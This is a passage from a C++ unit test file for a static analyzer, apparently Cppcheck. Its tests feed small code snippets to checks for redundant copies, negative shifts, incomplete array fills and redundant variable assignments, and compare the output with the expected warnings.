\" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" 